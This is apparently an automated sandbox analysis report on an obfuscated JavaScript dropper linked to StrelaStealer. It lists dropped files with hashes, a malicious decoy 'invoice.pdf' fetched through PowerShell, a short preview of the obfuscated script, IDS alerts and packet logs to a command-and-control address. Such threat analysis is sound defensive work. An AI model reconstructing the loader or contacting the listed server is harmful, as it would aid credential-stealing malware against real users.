ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\ab40f5f7-cb93-43c7-8527-52399fe41f27.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\dc2545dd-645d-4e8d-b4bc-eaa8dc80b5ff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f95d8eee-3175-4329-99ee-a264ab86ff55.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fc4a5d3c-4298-4ffa-af59-7ca5b597269e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18449), with CRLF line terminators
Entropy (8bit):	4.910822553007879
TrID:
File name:	19559251331544623964.js
File size:	22'041 bytes
MD5:	81ed61a01196b5c823aeec69d8382263
SHA1:	07233af0c45c535804e89d686d726cb927559698
SHA256:	75d30e1f4b7ddc442ed9791420e01759b29b2f1544afe09271639a019019f126
SHA512:	4afa7d168cfb8c4fb5179c8cacea27896c586be9c06fe89f7e066d971f57f40308a64c3c633bfb7ea6728c9561f1618411e246b6cef5f8ab33a9fb879c7d284f
SSDEEP:	384:eiJz8MmRLTnaR6TceB7RYTWasHILUzlDrVoLIbj7T5Cbed/79kz6P5PBzLTtdExU:PwniOPrtoU
TLSH:	4CA2B66C54513B671AE858FD8387405178F2D28C8624CACA2DE5AC8EDFEFB3465C20B7
File Content Preview:	function bvxhotyu(){uofyndwfe=[1031,3079,5127,4103,2055,3072];var khhjovqen=this[vxecy+klzsvqwpj+sbsshv+wcybpx+lpukmef+awhpv+wtxpsurfy+upusyzcrc](this[tjajd+rpnufz+isjysh+sbsshv+ykvvmj+vxecy+upusyzcrc][migrsiv+sbsshv+lpukmef+klzsvqwpj+upusyzcrc+lpukmef+on

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:52:30.485537+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.11	49709	193.143.1.205	80	TCP
2025-01-11T08:52:30.485537+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.11	49709	193.143.1.205	80	TCP
2025-01-11T08:52:33.132783+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.11	49725	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:52:29.659794092 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:29.664800882 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:29.664923906 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:29.667809010 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:29.672607899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485431910 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485472918 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485485077 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485516071 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485537052 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.485593081 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485606909 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485620022 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485626936 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485656977 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.485656977 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.485853910 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.485867023 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.486049891 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.490459919 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.539122105 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.539578915 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.539603949 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.540394068 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.605958939 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.605993986 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606008053 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606126070 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606177092 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606189013 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606189966 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.606189966 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.606267929 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.606549025 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606600046 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606612921 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606702089 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606714964 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.606748104 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.606749058 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.607356071 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.607433081 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.607690096 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.607767105 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.607780933 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.607810020 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.607810020 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.607810020 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.607932091 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.607944965 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.608201027 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.608675957 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.608690023 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.608704090 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.608748913 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.608809948 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.608908892 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.675575972 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.702435970 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.702477932 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.702490091 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.702553988 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.702553988 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.726540089 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.726665020 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.726684093 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.726697922 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.726716995 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.726742029 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.726783991 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.726803064 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.726815939 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.726840019 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.726859093 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.726893902 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.727103949 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.727175951 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.727188110 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.727330923 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.727410078 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.727459908 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.727473974 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.727510929 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.727510929 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.727581024 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.727592945 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.727655888 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.727991104 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728003025 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728017092 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728071928 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.728133917 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728146076 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728157997 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728173018 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728777885 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728815079 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728827000 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728853941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.728853941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.728853941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.728853941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.728913069 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728926897 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.728992939 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.729032040 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729044914 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729137897 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.729713917 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729727030 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729738951 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729901075 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729918957 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729929924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729948997 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.729975939 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.729975939 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.729975939 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.730532885 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.730571985 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.730583906 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.730648994 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.730648994 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.730690956 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.730703115 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.730715036 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.731273890 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.767987013 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.768026114 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.768038034 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.768393993 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.768393993 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.794763088 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.823040009 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.823075056 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.823085070 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.823115110 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.823127985 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.823168993 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.823168993 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.823230028 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.823292017 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.847050905 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847098112 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847110033 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847148895 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.847177029 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.847273111 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847347975 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847361088 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847389936 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.847409964 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847424030 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847450972 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.847544909 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847557068 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847568035 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847579956 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847609997 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.847609997 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.847804070 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847820997 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847851038 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.847882986 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847946882 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847959042 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.847964048 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.848072052 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.848145008 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.848156929 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.848167896 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.848239899 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.848264933 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.848277092 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.848288059 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.848320007 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.848347902 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:30.848491907 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:30.848568916 CET	80	49709	193.143.1.205	192.168.2.11
